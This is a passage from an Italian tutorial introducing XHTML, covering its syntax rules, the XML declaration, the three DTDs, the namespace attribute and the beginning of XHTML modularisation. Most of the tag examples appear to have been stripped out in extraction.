sembrarci un concetto avverso e scomodo, effettivamente a noi è molto più famigliare agire direttamente sulla parte "grafica" del nostro documento. Ma provate ad immaginare una situazione del genere: voi avete il vostro sito costruito in modo "normale" con html, se volete fare un restyling della vostra grafica, con l'html dovreste riscrivere tutto il codice, di tutte le pagine del sito; per rifare la grafica del sito con una "struttura" invece, non dovete toccare nemmeno una riga di codice del sito, dovete solo creare un "foglio di stile" nuovo e collegarlo a tutte le pagine del sito. Ebbene sì, se non l'avete ancora capito, la visualizazione delle pagine xml è tutta "in mano" ai fogli di stile tipo "CSS" o il più moderno "XSL"; questo è solo un esempio (molto banale e futile) del potenziale dell' xml. Con l'xml in futuro saremo in grado di fare cose oggi impensabili, ma soprattutto saremo in grado di "costruire" un internet più ordinato. 1.3: ...e quindi: che cosa è L'XHTML? L' XHTML è la riscrittura (rivista e corretta) dell' HTML 4.01 con le regole e la sintassi dell'XML 1.0; è quindi un linguaggio che miscela la semplicità dell'HTML con le varie potenzialità dell'XML. 2.0: Introduzione tecnica all'XHTML... (i sei comandamenti) Innanzitutto un documento XHTML deve obbligatoriamente rispettare queste regole: 1. I tag devono essere annidati correttamente: CORRETTO: elementi annidati

bla bla blabla bla bla

SBAGLIATO: elementi sovrapposti

bla bla blabla bla bla

Come potete vedere, nell'esempio corretto il tag che è stato aperto per primo è stato giustamente chiuso per ultimo; mentre nell'esempio sbagliato il tag

è stato chiuso prima del tag (che è stato aperto dopo) e che invece avrebbe dovuto essere chiuso prima. L'HTML raccomanda di evitare questo errore, ma lo si può commettere lo stesso. Con XHTML è severamente vietato commettere errori di questo tipo: il documento non verrebbe validato. 2. Tutti gli elementi devono essere chiusi: CORRETTO: elementi chiusi

bla bla bla

bla bla bla


SBAGLIATO: elementi non chiusi

bla bla bla

bla bla bla
Come possiamo vedere nell'esempio corretto il tag

è stato correttamente chiuso; per i tag che non prevedono un tag di chiusura, tipo
, , bisogna aggiungere una slash (/) alla fine dello stesso tag: quindi
, . Nell'esempio sbagliato i tag

e
non sono stati chiusi, in un documento XHTML questo è considerato errore: il documento non verrebbe validato. 3. Tutti i valori di attributo devono essere racchiusi tra le virgolette: CORRETTO: valori di attributo tra virgolette SBAGLIATO: valori di attributo senza virgolette
L'HTML raccomandava di mettere le virgolette intorno agli attributi ma si poteva comunque commettere questo errore. Con L'XHTML è obbligatorio farlo è considerato errore non metterle: il documento non verrebbe validato. 4. XHTML e XML non supportano la minimizzazio ne degli atributi: CORRETTO: attributi non minimizzati
SBAGLIATO: attributi minimizati
In XML e in XHTML tutti gli attributi devono avere i loro valori. 5. Tutti gli elementi e i loro attributi in XHTML devono essere scritti in minuscolo (tranne rare eccezioni): CORRETTO: nomi tag e attributi in minuscolo SBAGLIATO: nomi tag e attributi non scritti in maiuscolo Nell'esempio corretto il nome del tag e il suo attributo sono stati scritti in minuscolo. In XHTML scrivere in maiuscolo nomi ed attributi dei tag è considerato errore: il documento non verrebbe validato. 6. Utilizzare l'attributo "id" al posto di "name" per identificare gli elementi di un documento. 2.1: Un documento XHTML... Ora analizziamo un documento XHTML: Esempio pagina XHTML

XHTML

Questo è un esempio di documento XHTML



Ci avete capito qualcosa?

1. Un documento XHTML può iniziare con una dichiarazione XML (non è un obbligo, ma è vivamente consigliato): Una dichiarazione XML comunica al browser che quello è un documento di tipo XML; è un tag speciale: come potete notare inizia con "". Con l'attributo "version" si specifica a quale versione dell'xml si fa riferimento (per ora il suo valore può essere solo "1.0") con l'attributo "encoding" si specifica in quale tipo di carattere è scritto il documento: europeo, cirillico, arabo, giapponese (per l'italiano il valore adatto è: "iso-8859-1"). 2. Come primo tag in un documento XHTML (o come secondo: dipende se si è inserita o meno la "Dichiarazione XML") bisogna obbligatoriamente inserire una delle tre "DTD", (se non lo si fa, il documento non verebbe validato): Queste sono le tre "DTD" XHTML, una "DTD" stabilisce quale insieme di tag si possono usare e come si devono usare. La "DTD", serve al browser per interpretare il documento XHTML; Ne esistono di tre tipi, con tre diverse funzioni: - Transitional: Con questa DTD si fa riferimento alla versione "allargata" di XHTML: questa DTD oltre a riconoscere i tag che descrivono la struttura del documento, rende possibile l'uso di tag che descrivono direttamente la visualizzazione del documento come per es.: ; è quella che vi consiglio di usare. - Strict: Con questa DTD si fa riferimento alla versione "ristretta" di XHTML: questa DTD rende impossibile l'uso di tag che descrivono direttamente la visualizzazione del documento come per es.: ; rende solo possibile l'uso dei tag che descrivono la struttura del documento tipo per es.:

,
, ; per la visualizzazione del documento si può ricorrere ai fogli di stile. Consiglio questa DTD se siete esperti e volete creare le vostre pagine in modo ordinato e pulito. - Frameset: questa DTD abilita l'uso dei "frame". Questo tag deve essere scritto (per forza) in modo corretto rispettando le maiuscole e le minuscole. NOTA BENE: Se in un documento XHTML noi usiamo dei tag supportati solo dalla DTD "Transitional", però prima avevamo dichiarato di usare la DTD "Strict", il browser ignorerà tutti i tag che sono solamente supportati dalla DTD "Transitional". 3. Nell'elemento ci sono degli strani attributi: 1. "xmlns": inserire questo attributo è obbligatorio (se non lo si fa il documento non verrebbe validato) il suo valore può solo essere "http://www.w3.org/1999/xhtml"; si tratta di un "NameSpace XML". 2. "lang" & "xml:lang": Il tag HTML "lang" serve per specificare la lingua in cui è scritto un documento HTML o il contenuto di un tag. Se si usa questo tag in un documento XHTML, bisogna inserire anche l'attributo "xml:lang". L'uso di questi tag non è obbligatorio. 4. Per il resto il documento si può scrivere in modo "normale", rispettando però le regole descritte nel capitolo 2.0 di questo documento. 3.0: Modularizzazione di XHTML... L'XHTML è stato recentemente modularizzato: la modularizzazione prevede la suddivisione degli elementi XHTML in piccoli gruppi, che sono chiamati moduli, che possono essere o non essere usati in base all'"user agent" che ne fa uso. Un user agent è il sistema che l'utente utilizza per vedere un documento XHTML; di solito è un computer, ma in futuro non lontano potrebbe essere un cellulare UMTS o un personal computer per auto. Questi "user agent", per questioni tecniche e/o pratiche, non utilizzeranno tutti i tag disponibili, ma solo alcuni moduli. Le specifiche per la modularizzazione dell'XHTML indicano come si possono implementare i moduli di nostra invenzione. I moduli XHTML che sono stati definiti come moduli standard sono: - Moduli fondamentali: - structure module: raggruppa l'insieme di tag che definiscono un documento XHTML (per es. , , ecc. ...) - text module: raggruppa l'insieme di tag che hanno a che fare con il testo (per es. ,

, , ecc. ...) - hypertext module: contiene i tag per creare un ipertesto (per es. , ecc. ...) - list module: contiene i tag che consentono di creare liste (per es.